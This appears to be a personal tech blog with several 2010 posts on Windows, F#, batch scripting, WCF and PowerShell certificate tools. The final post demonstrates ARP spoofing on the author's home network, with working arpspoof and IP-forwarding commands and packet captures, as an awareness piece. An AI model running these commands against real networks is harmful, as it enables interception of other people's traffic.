Friday, May 21, 2010

The power of shift clicking – Copy As Path

 

copyaspath

Have you ever been in explorer and needed to get the path of a file?

Turns out that feature is built into Windows 7! If you shift right click on a file, the menu contains a copy as path link.  Sweet!

Saturday, May 15, 2010

Making the FSharp interpreter (fsi) run in 64bit!

I love F#!  It’s all the power of functional programming with the training wheels of c# when you need it. All the prototype/REPL power of powershell and python, with the built in test cases I like to call static typing. All the power of static typing, with out the hassle of specifying types every where thanks to implicit typing.

But, there is one annoying problem, I crunch very large data sets and fsi.exe runs as a 32 bit application. This means when I load my data sets and iterate through them FSI takes up 1.6 GB of RAM (maximum for a 32bit app), and spends 100% of its time in GC.

An aside for you who are thinking: 1.6GB is enough RAM!? – Igor must be a really crappy programmer!!! 1.6GB could be plenty, but why should I spend time adding complexity to my code when I have a superb memory manager, a 64 bit address space and a 3 year old dev machine that has 16GB of RAM, and 8 processors?  Today, I get no value from optimizing my data set for memory utilization -- I’m better off making my data cruncher a 64 bit application.

Back to work.  First, lets open up the Visual Studio command prompt (it has the tools we need in its path) and find fsi.exe.

C:\Program Files (x86)\Microsoft F#\v4.0>dir fsi.*
Volume in drive C has no label.
Volume Serial Number is 8EDE-D64E

Directory of C:\Program Files (x86)\Microsoft F#\v4.0

03/19/2010 02:02 PM 230,216 Fsi.exe
09/30/2009 08:08 PM 158 Fsi.exe.config
2 File(s) 230,374 bytes

Lets make sure it's 32 bit - we do that with a tool called corflags.

C:\Program Files (x86)\Microsoft F#\v4.0>corflags fsi.exe
Microsoft (R) .NET Framework CorFlags Conversion Tool. Version 4.0.30319.1
Copyright (c) Microsoft Corporation. All rights reserved.

Version : v4.0.30319
CLR Header: 2.5
PE : PE32
CorFlags : 11
ILONLY : 1
32BIT : 1
Signed : 1

Next we use corflags to make fsi 64bit. This will unsign the fsi.exe but this hasn't affected anything for me yet.

 

C:\Program Files (x86)\Microsoft F#\v4.0>corflags /32bit- /force fsi.exe
Microsoft (R) .NET Framework CorFlags Conversion Tool. Version 4.0.30319.1
Copyright (c) Microsoft Corporation. All rights reserved.

corflags : warning CF011 : The specified file is strong name signed. Using /For
ce will invalidate the signature of this image and will require the assembly to
be resigned.

Lets double check it worked:

 
C:\Program Files (x86)\Microsoft F#\v4.0>corflags fsi.exe
Microsoft (R) .NET Framework CorFlags Conversion Tool. Version 4.0.30319.1
Copyright (c) Microsoft Corporation. All rights reserved.

Version : v4.0.30319
CLR Header: 2.5
PE : PE32
CorFlags : 9
ILONLY : 1
32BIT : 0
Signed : 1

Finally fire up F#, and it's now in 64 bit - yippee!

Friday, May 7, 2010

The joy's of batch - Delayed Expansion

 

If you can, skip batch and move strait to powershell. If you don't believe me, maybe this blog post will change your mind. In batch %ErrorLevel% is how you know if the last command succeeded:

C:\>echo %ERRORLEVEL%
0

It turns out if you set a variable that doesn't exist, this sets error code to 1. So

C:\>set DONKEYRIDING
Environment variable DONKEYRIDING not defined

C:\>echo %ERRORLEVEL%
1

Makes sense, batch isn't that bad you think. Now here's a pop quiz - What will you get when you run this batch file?

C:\>type foo.bat
if NOT "BATCH"=="OBVIOUS" (

echo %ERRORLEVEL%
set DONKEYRIDING
echo %ERRORLEVEL%

)

I"ll run it for you:

C:\>foo.bat

C:\>if NOT "BATCH" == "OBVIOUS" (
echo 0
set DONKEYRIDING
echo 0
)
0
Environment variable DONKEYRIDING not defined
0
C:\>

Not what you thunk huh? Maybe error level wasn't set - lets check

C:\>echo %ERRORLEVEL%
1

What the heck happened? Well, the if block is a statement, and variable substation happened when the statement was read.  You don't want this behavior and you’re probably not interested in the details, luckily batch has something called delayed variable expansion, which you expose using !ERRORLEVEL! so you need to change your batch file to be:

setlocal ENABLEDELAYEDEXPANSION
if NOT "BATCH"=="OBVIOUS" (
echo !ERRORLEVEL!
set DONKEYRIDING
echo !ERRORLEVEL!
)

Which gives the expected output:

C:\>foo2.bat

C:\>setlocal ENABLEDELAYEDEXPANSION

C:\>if NOT "BATCH" == "OBVIOUS" (
echo !ERRORLEVEL!
set DONKEYRIDING
echo !ERRORLEVEL!
)
0
Environment variable DONKEYRIDING not defined
1
C:\>

As I said, skip batch and go strait to powershell!

Saturday, February 27, 2010

How to determine the server certificate given an https wcf proxy?

One day when you are using https transports in WCF you might try to figure out what certificate the server is using. That is going to be the day you're glad you found my blog.
 
namespace WebClient
{
using System;
using System.IdentityModel.Tokens;
using System.ServiceModel;
using System.ServiceModel.Channels;

///
/// Interface implemented by a random https bound web service I found on the web.
///

[ServiceContract (Namespace="http://arcweb.esri.com/v2")]
interface IVersion
{
[OperationContract]
string getVersion();
}

class Program
{
static void Main(string[] args)
{
var httpsBinding = new BasicHttpBinding(BasicHttpSecurityMode.Transport);
var endpointAddress = new EndpointAddress("https://arcweb.esri.com/services/v2/AccountInfo");
var serviceClient = new ChannelFactory<IVersion>(httpsBinding, endpointAddress).CreateChannel();

// Instantiating an OperationContextScope populates the OperationContext.Current property
using (OperationContextScope scope = new OperationContextScope(serviceClient as IContextChannel))
{
serviceClient.getVersion();
// Certificate not available until after an API call.
var myCertificate = (OperationContext.Current.IncomingMessageProperties.Security.TransportToken.SecurityToken as X509SecurityToken).Certificate;
Console.WriteLine(myCertificate);
}
}
}
}


I expect most folks will skip this post, but if you end up needing this tip leave a comment with what you’re up to -  I’m curious!

Saturday, February 13, 2010

PowerShell, PowerTab and Certificates

Powershell is good, but with an awesome tab completer Powershell is great.  Luckily said awesome Tab completer exists, and it is called PowerTab.  Powertab didn't work quite right in the certificate provider (and some other places) so I made some fixes and threw them up on CodePlex. A small demo below:

 powertab_in_cert_completer

Saturday, February 6, 2010

Better Certificate Management in Powershell via CertificateHelper

If you’ve read my previous post here, you know powershell can do some basic certificate management via the certificate provider. However, the certificate provider has some limitations. The certificate provider can’t create,delete,copy or import/export certificates.

This annoyed me so I’m creating a powershell module called CertificateHelper that will provide these missing features.

So far the module implements:

  • New-Certificate
  • Remove-Certificate 

CertHelper can be found on codeplex.

You install it like this:

(You must have hg installed)
PS C:\>cd $home\Documents\WindowsPowerShell\Modules
PS C:\Users\igord\Documents\WindowsPowerShell\Modules> hg clone https://hg01.codeplex.com/certificatehelper
destination directory: certificatehelper
requesting all changes
adding changesets
adding manifests
adding file changes
added 5 changesets with 8 changes to 4 files
updating to branch default
4 files updated, 0 files merged, 0 files removed, 0 files unresolved


Once installed, you can make it available in your powershell session like this:



PS C:\> Import-Module CertificateHelper


You can see the implemented commands like this:



PS C:\> dir function:\*-Certificate

CommandType Name Definition
----------- ---- ----------
Function New-Certificate param([parameter(Mandatory=$true)]...
Function Remove-Certificate param($certificatePath)...


A walk through of using the module is:



PS C:\> dir cert:\LocalMachine\My | ? {$_.Subject -like "*Dog*"}
PS C:\> New-Certificate cert:\LocalMachine\My DogFood
Succeeded
PS C:\> dir cert:\LocalMachine\My | ? {$_.Subject -like "*Dog*"}


Directory: Microsoft.PowerShell.Security\Certificate::LocalMachine\My


Thumbprint Subject
---------- -------
A229E9FF2AA9DC55D06A35D0BBB0D0A98FEAC1A3 CN=DogFood


PS C:\> Remove-Certificate cert:\LocalMachine\My\A229E9FF2AA9DC55D06A35D0BBB0D0A98FEAC1A3
PS C:\> dir cert:\LocalMachine\My | ? {$_.Subject -like "*Dog*"}
PS C:\>


This is a work in progress, so holler if you hit any issues, or want to prioritize the order in which I provide the features.

Saturday, January 30, 2010

Using tshark to find the man in the middle

This post is targeted at people that understand ip addresses, default gateways and have heard of arp, but don’t play with them often enough to realize how vulnerable we are to man in the middle attacks.

Back in the old days, the network hardware was often a hub, and hubs had a property that all the computers connected to a hub could see each others traffic.  This meant if my computer and tori-the-lori were on the same hub tori-the-lori could see all my network traffic. This sound like weak security.  In time the world invented switches, and now almost all networking uses switches. Switches differ from hubs in that computers only see traffic that is sent to them, not everyone's traffic.  This difference should fix the weak security right?   Well, as with most things security the devil is in the details. Lets dig in.

When a computer wants to talk another computer by IP address, it needs to find the MAC address for the IP address, this is done via ARP.  Lets have a look at my home network.

Background info:
    My machine is @  192.168.1.101
    Tori-The-Lori is another machine in my network @ 192.168.1.100
    My default gateway is @ 192.168.1.1

 C:\Users\igord>ipconfig | findstr 192.168.1.1 
IPv4 Address. . . . . . . . . . . : 192.168.1.101
Default Gateway . . . . . . . . . : 192.168.1.1

C:\Users\igord>ping -4 tori-the-lori
Pinging tori-the-lori [192.168.1.100] with 32 bytes of data:


Q: How does my machine know where to find 192.168.1.100?

A: 192.168.1.100 has a MAC address  - MAC addresses are stored in the arp table, lets look at the ARP table:



PS C:\> arp -a | findstr 192.168.1.100 
192.168.1.100 00-22-5f-7e-f5-79 dynamic


Q: Can I erase that entry from  ARP table?


A:  Yup



PS C:\> arp -d 192.168.1.100
PS C:\> arp -a | findstr 192.168.1.100


Q: If I delete the ARP entry how will my machine find 192.168.1.100 again?

A: Lets watch arp traffic in tshark :)



PS C:\Program Files (x86)\Wireshark> .\tshark -i 4 -R "arp"
Capturing on Microsoft
7.202265 IntelCor_2f:5a:22 -> Broadcast ARP Who has 192.168.1.100? Tell 192.168.1.101
7.207136 LiteonTe_7e:f5:79 -> IntelCor_2f:5a:22 ARP 192.168.1.100 is at 00:22:5f:7e:f5:79


Q: How does my machine get a packet to bing?


A: My machine uses DNS to get the IP address, then my machine uses the default gateway (192.168.1.1) to send the packet to bing(69.31.112.153).



Pinging a134.g.akamai.net [69.31.112.153] with 32 bytes of data:
Reply from 69.31.112.153: bytes=32 time=50ms TTL=54


Back in Wireshark:



PS C:\Program Files (x86)\Wireshark> .\tshark -i 4 -R "icmp" -T fields -e eth.src -e eth.dst -e ip.src -e ip.dst
Capturing on Microsoft
00:21:6a:2f:5a:22 00:08:54:87:86:9c 192.168.1.101 69.31.112.153
00:08:54:87:86:9c 00:21:6a:2f:5a:22 69.31.112.153 192.168.1.101


Notice the packet to and from bing's IP address is my default gateway:



PS C:\Program Files (x86)\Wireshark> arp -a  | findstr 192.168.1.1
Interface: 192.168.1.101 --- 0xe
192.168.1.1 00-08-54-87-86-9c dynamic


Q: Can someone evil say  they are 192.168.1.1?



A: Yup. I can transform my happy linux laptop, via these commands into an evil man in the middle:



#enable routing 
vmplanet@ubuntu-vm:~$ sudo sysctl -w net.ipv4.ip_forward=1

# tell 101 I’m really the default gateway.
vmplanet@ubuntu-vm:~$ sudo arpspoof -t 192.168.1.101 192.168.1.1 > /dev/null

#tell the default gateway I’m really 101.
vmplanet@ubuntu-vm:~$ sudo arpspoof -t 192.168.1.1 192.168.1.101 > /dev/null


Q: What do I see on my windows box?



A: I wouldn’t be looking, but if you were you’d see this:



PS C:\Program Files (x86)\Wireshark> .\tshark -i 4 -R "arp or icmp"
Capturing on Microsoft
0.697050 IntelCor_2f:5a:22 -> IntelCor_2f:5a:22 ARP 192.168.1.1 is at 00:21:6a:2f:5a:22
1.997779 192.168.1.103 -> 192.168.1.101 ICMP Redirect (Redirect for host)
2.698765 IntelCor_2f:5a:22 -> IntelCor_2f:5a:22 ARP 192.168.1.1 is at 00:21:6a:2f:5a:22
3.022153 192.168.1.103 -> 192.168.1.101 ICMP Redirect (Redirect for host)
3.584377 192.168.1.103 -> 192.168.1.101 ICMP Redirect (Redirect for host)
4.699856 IntelCor_2f:5a:22 -> IntelCor_2f:5a:22 ARP 192.168.1.1 is at 00:21:6a:2f:5a:22
4.765403 192.168.1.103 -> 192.168.1.101 ICMP Redirect (Redirect for host)
6.445970 192.168.1.103 -> 192.168.1.101 ICMP Redirect (Redirect for host)
6.555464 192.168.1.103 -> 192.168.1.1 ICMP Redirect (Redirect for host)
6.653009 192.168.1.103 -> 192.168.1.101 ICMP Redirect (Redirect for host)


Or maybe this:



PS C:\Program Files (x86)\Wireshark> arp -a | findstr 192.168.1.1
Interface: 192.168.1.101 --- 0xe
192.168.1.1 00-21-6a-2f-5a-22 dynamic
192.168.1.100 00-22-5f-7e-f5-79 dynamic
192.168.1.103 00-21-6a-2f-5a-22 dynamic


What the heck?  192.168.1.103 has now hijacked my ARP entry for the default gateway (compare to what 192.168.1.1 was above)



Unfortunately, when I ping bing.com things still look right:



Pinging a134.g.akamai.net [69.31.112.82] with 32 bytes of data:
Reply from 69.31.112.82: bytes=32 time=37ms TTL=54

PS C:\Program Files (x86)\Wireshark> .\tshark -i 4 -R "icmp"
Capturing on Microsoft
5.758262 192.168.1.101 -> 69.31.112.82 ICMP Echo (ping) request
5.794958 69.31.112.82 -> 192.168.1.101 ICMP Echo (ping) reply
6.760151 192.168.1.101 -> 69.31.112.82 ICMP Echo (ping) request
11.304182 192.168.1.101 -> 69.31.112.82 ICMP Echo (ping) request
16.304111 192.168.1.101 -> 69.31.112.82 ICMP Echo (ping) request


But when we look closely, like at the  the MAC addresses – we realize all are packets go the man in the middle :(



PS C:\Program Files (x86)\Wireshark> .\tshark -i 4 -R "icmp" -T fields -e eth.src -e eth.dst -e ip.src -e ip.dst -e icmp
Capturing on Microsoft
00:21:6a:2f:5a:22 00:08:54:87:86:9c 192.168.1.101 69.31.112.106 icmp
00:08:54:87:86:9c 00:21:6a:2f:5a:22 69.31.112.106 192.168.1.101 icmp
00:21:6a:2f:5a:22 00:08:54:87:86:9c 192.168.1.101 69.31.112.106 icmp
00:08:54:87:86:9c 00:21:6a:2f:5a:22 69.31.112.106 192.168.1.101 icmp
00:21:6a:2f:5a:22 00:21:6a:2f:5a:22 192.168.1.101 69.31.112.106 icmp


Now that I’ve shown you how easy it is to become a man in the middle you should be thinking about what you are doing so the man in the middle can’t see you.